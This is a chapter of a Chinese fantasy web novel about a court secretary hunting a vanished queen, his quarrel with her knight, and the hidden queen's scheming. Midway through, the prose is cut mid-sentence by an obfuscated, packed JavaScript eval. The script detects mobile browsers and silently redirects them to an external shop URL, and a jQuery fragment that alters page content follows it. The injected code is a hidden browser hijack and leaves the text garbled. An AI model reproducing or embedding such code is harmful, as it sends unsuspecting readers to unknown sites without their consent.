与此同时,与那座破败修道院只隔着三条街区的市政厅里,气氛难捱得几乎让人喘不过气。
官员们已经连续两日没有合眼,满城搜人之后又彻夜查阅资料,原本宽敞的办公室内到处堆满了各种档案和卷宗,连下脚走路的地方都没有。
因为人手不足,又从下属城市抽调了部分年轻官员来帮忙,忙得连喝水都顾不上,大家都苦不堪言。
然而就算这样,也没能让那位书记官满意,别说笑了,连正眼瞧一下都算是抬爱了。官员们叫苦不迭,早就听闻这位书记官工作能力极其强大,可是也没听说他如此废寝忘食啊。
议员会议室里,蓝金制服的书记官仰面躺在办公椅上,双目紧闭,薄唇紧抿。
略显凌乱的领口处,紧绷起的青筋与突突直跳的太阳穴暗示着他此刻的清醒。
即便阖上了眼皮,女王的容颜还是在他瞳孔里不断出现,嗔怒的她,严肃的她,得意的她,厌恶的她……
“伊丽丝……”他咬着牙猛地睁开了眼睛,眉头深陷,几乎是从牙缝间挤出这一声低吟,“你最好别让我找到。”
“咚咚咚!”
门应声而开,卷发的青年官员将一沓厚厚的资料递到了书记官的手上。
这已经是核查完的第三遍信息。
帕克几乎是一拿到手就以一种近乎偏执的专注力埋头翻阅。
坎修斯暗暗打量着他,虽然不知道哈里的真实目的,但是给眼前这位书记官添堵可不是什么容易的事。
起初这位书记官只是要与女王同名的女子信息,一无所获后意识到可能是调查方向不对,转而调查与女王新殁几乎同时期出现异常举动的女性。
如今他又调出那夜出现在萨兰家族古堡附近的女性信息,与前一份资料交叉比较,调查的范围正显而易见的大幅缩小。
就算这样,筛选出来的女性数量仍不在少数,尤其是最后一份名单处处透露着古怪。
帕克眉头深锁,那夜舞会他也在,出席的女性远没有名单上提供的这么多。他立刻就想到,有人预判到了他的搜捕逻辑并试图扰乱他的调查。
会是谁?
还能有谁?
伊丽丝,是你在看着我吧?你甚至在我身边埋了钉子,会是谁?
你离我……这么近了吗?
意识到这一点,帕克几乎亢奋到坐立难安,只能竭力压制住上扬的唇角,任凭血液奔流的声音被鼓膜放大,发出震耳欲聋的声响。
“帕克大人!”有人在门外报告,声音急促,将帕克几乎失控的情绪迅速拉回。
“进。”他声线已经恢复平稳,带着不易察觉的战栗感。
“王庭急令,大人。”
骑士团的成员递过来一张纸卷,上面有克莱尔的印信,上面只有寥寥数语,新任女王即将加冕,反对派势头又起,克莱尔命令帕克即刻带着纯血半兽人返回爱尼亚。
帕克沉默着思索了片刻,少顷,站了起来,拔腿往市政厅的私狱走去。
市政厅没有司法权,但可以拥有卫兵队这样的防御力量,不过名义上的私狱只是一个拘留嫌疑者的临时性场所,不具备审判的合法性,故而简陋、冷清、空无一人。
不过现在,这里关了一位不速之客。
昏暗的天光从高墙上的气窗铺设而下,年轻的骑士仰面看着窗外簌簌的飞雪,恍惚记起几个月前的一件小事——
女王隔着塔楼上的琉璃窗,目光沉静地看向王庭之外连绵的爱尼亚,还同他念叨过,年底要和他一块儿看雪。
不过短短几个月,他却弄丢了她。
“不可饶恕……”
“确实不可饶恕,格雷殿下。”蓝金色制服出现在余光里,帕克面色冷淡地走了进来,“你放跑了摄政王的罪人,背弃了你效忠王室的誓言。”
“罪人?你口中的罪人是指几个岁数加起来还没有你大的孩子吗?”卢卡斯侧过身,神色冷峻,气势逼人,“谁给你的权力来质问格雷家族的人?你又有什么资格限制我的人身自由?不过是一个书记官!”
“格雷家族?”帕克打断了他,“你家族的人如果知道你为了几个半兽人杂种违抗摄政王的命令,你猜他们是会与你撇清关系,还是会先来救你?”
卢卡斯斜睨着他,对他的威胁不屑一顾。
“你想知道我有没有这个权力,不如直接去问摄政王阁下。”卫兵移开椅子,帕克在他对面坐下来,长腿交叠,手指交叉,神色从容,根本不惧卢卡斯的质问。
“况且,”他抬眸,紧盯着卢卡斯沉默了片刻,再开口时声线又沉了几分,“你根本配不上格雷家的荣誉。”
“呵!”卢卡斯轻嗤了一下,“我配不配得上何时轮到你来指责?你什么身份?一条跟在摄政王身后摇尾乞怜的狗,还是以蝼蚁之身觊觎明月的恶鬼?”他微微眯眼,视线在对方身上短暂停留一瞬又立即嫌恶地移开,语气里满是鄙夷与憎恶,“别以为我不知道,你那该死的房间里藏了多少见不得光的东西,你才是最该下地狱的人。”
帕克的双手猛地握紧,那一瞬间,仿佛被人戳中了最不堪的一面,揭开了伤疤露出了血淋淋的伤口。
冰冷的杀意如潮水般漫上眼底,但很快,他职业性的笑又挂在嘴角。
“提到这个,如果她没死,最该高兴的人不应该是你吗?女王的首席骑士卢卡斯大人?”他站了起来,走到卢卡斯的身边,微微含笑,平视着他,“咱们这位陛下真得很狡猾,从小到大捉迷藏的本事着实不小。”
他擅自给伊丽丝女王下定义,话里话外毫无恭敬之意。
“你说,我要是把你首级砍下来悬在市井,陛下会不会因为要替你收尸而现身?”他的语气稀松平常,唇齿之间轻易就决定一个贵族骑士的生死。
卢卡斯回望着他,确定他不是在开玩笑,这个疯子,什么都做得出来。
“你尽可这么去做,如果摄政王阁下想和格雷家族为敌的话。不过在那之前,”卢卡斯忽然侧身,目光森然,寒意凛凛,“我会杀了你。”
两人互相对视,谈话告一段落,一时间谁也没有说话,但空气却格外凝滞,让人喘不过气。
门口的骑士团成员没有跟进来,他咽了下口水,紧张地望向两人。一个是权势滔天的第一书记官,一个是骑士团同袍兄弟,两位大人平日都儒雅得体,真不知道为什么一碰面就水火不容,像两柄出鞘的刀剑,闪烁着迫人的寒芒,非要见光见影。
“卢卡斯,你好像也没有多么关心她。”帕克先开了口,后半句他说得很慢,像是极不情愿去回忆那个场景,“否则也不会让她落了个被火烧死的下场。”
“烧死?”卢卡斯冷笑一声,“连你也相信这个蹩脚的借口?陛下一向谨慎……”他停止了话头,不愿再和这条疯狗提及女王,但他实在忍不下这口气,反唇相讥道,“书记官大人好像也没有表面上那么聪明。”
“我竟然不知,骑士大人口齿也和你的剑一般锋利,不如投身于外交事业。”帕克回呛了一句,抬脚往门口走去,门外的骑士松了好大一口气,真怕他俩会不顾身份地厮打起来。
“你自由了,格雷殿下,我以代理团长的身份命令你留在圣斯卢奥继续追查女王的线索,限期一月。”帕克的声音落在身后。
卢卡斯紧盯着他的背影,他不信这个疯子会放弃追查,必然是王庭那边出了什么事情。
大雪飞舞,帕克停下脚步,侧脸低声吩咐道:“派人暗中盯住卢卡斯,有任何风吹草动立刻直接向我汇报。”
一股被冒犯的不悦从心底升起。卢卡斯那句话是什么意思?那场大火莫非另有蹊跷?
飞雪静谧无言,他伸出手去。
一片晶莹的雪花悄然落入她的掌心。
塞西莉亚抬眸凝视着洋洋洒洒的天空,这场雪没有停下的迹象,反而越下越大。
一把伞遮住了她的视线。
瘦高个的小女仆落后半步,尽量让自己与塞西莉亚小姐保持在同一步频。
主仆两人从荒废修道院回到城堡时,古板的内政官已经等候多时,积雪落在他笔挺规整的黑色军装上,又被寒风裹挟着吹落。
他低眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793845|209297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瞥了眼怀表,迎了过来:“塞西莉亚小姐,您又——”
“达利安·菲尔德内政官,你若再说我迟到,就请麻利地滚出去。”塞西莉亚拍了拍袖口处的积雪,神色不悦,语气也难免有些强硬,“我可不记得和你约定过时间。”
她看也没看他,冷淡地迈进了房间。
达利安抿了下唇,视线追随着她,抬脚向她走去,声音尾随而至。
“塞西莉亚小姐,您生病未愈不应独自外出,您不应该为此事令大公分心。”
“塞西莉亚小姐,您外出为何不带护卫兵?您的安危也会让大公……”
卡萝收了伞,跺了跺鞋底的积雪,落在后面。她不禁暗暗咋舌,这位内政官一丝不苟、锲而不舍的精神着实令她佩服。
塞西莉亚突然站住,猛地转过身来。
她的停下猝不及防,达利安险些撞上,堪堪稳住身形。
两人离得非常近,达利安军装上的纽扣甚至随着呼吸与她绒裙上的花边若即若离。
他长睫低垂,她仰脸看他。
达利安一下子停止了呼吸,这个距离让他避无可避。
他只能看着她,纤长而绵密的睫毛,黝黑而明亮的眼睛,因寒冷有些发红的鼻子……
他迅速退后一大步,拉开两人的距离。
“抱歉,小姐。”他的声音低沉无比,带着一丝难抑的干涩,却比之前更加冷淡,“……我并非有意……”
“大公大公,达利安·菲尔德内政官,”塞西莉亚语气冰冷,一丝嗔怒轻轻地刮在他耳朵里,“你就没有自己的想法吗?”
达利安怔了一下,随即稳住心神:“大公吩咐我转达他的关切。王庭急令,大公已经启程前往爱尼亚。”他生硬地拉回了话题,换上了一副公事公办的语气,“塞西莉亚小姐若没有别的吩咐,我还要去爱尼亚复命。”
他说完,向她行了一个标准的军礼,头也不回地离开了,步伐又急又快,根本不给塞西莉亚反应的机会。
漫天大雪中,他的身姿挺拔如初,但背影却略显仓促。
塞西莉亚冷淡地扫了一眼他离去的方向,转身向楼上走去。
王庭这个时候下发急令,要么是为了新王人选,要么是教会、元老与克莱尔反对党斗争升级,无论是哪一种,都足够令克莱尔和帕克焦头烂额,无暇他顾,那她完全可以利用这段时间好好蛰伏在布鲁德尔。
从柯尼他们的话中,虽然没有直接问出关于野玫瑰骑士是谁,但根据他们对他外貌和行径的描述,其实大致也能猜测出来。
敢明目张胆地违抗王庭命令,帕克还对他无可奈何的骑士,除了卢卡斯,塞西莉亚想不出别人。
卢卡斯·格雷……
古老的格雷家族扎根于爱尼亚王庭,世代效忠于女王,每一代中都有王室的专属骑士。
他们宣誓将生命献给王庭,宿命相系,至死方休。
但是……
塞西莉亚想起他那双鸦青色眼眸,总是饱含着温柔笑意,无奈又宠溺地包容她所做的一切。从小到大,她所犯的每一个错误,卢卡斯都会把责任揽到自己身上,替自己承受母亲的管教和克莱尔的责罚。
过去的他如同真正的兄长,善良、贴心又温暖,但是今时今日,艾伦已然成为一道难以逾越的鸿沟,横亘在她与卢卡斯两人之间。
塞西莉亚走上露台,飘飞的大雪让她几乎无法看清远处的暗夜。
那片黑暗中仿佛蛰伏着巨兽,正张开血盆大口,等待着下一个自投罗网的猎物。
信任是一个奢侈又要命的东西。
上一次因为信任,她被艾伦出卖,几乎满盘皆输,让自己一次又一次置身于危险处境中,至今仍逃不掉身份暴露的阴霾。这次她不敢再把自己的将来赌在别人身上,她只信她自己,帮手她不缺这一个。
况且,这是一场属于她的、无声又残酷的厮杀,所有人既已入局,皆是棋子。就让那点纯粹的温暖留在记忆中吧,她不想让它染上算计的暗色,成为权衡交易的筹码。
风雪呜咽,吹向又一个黎明。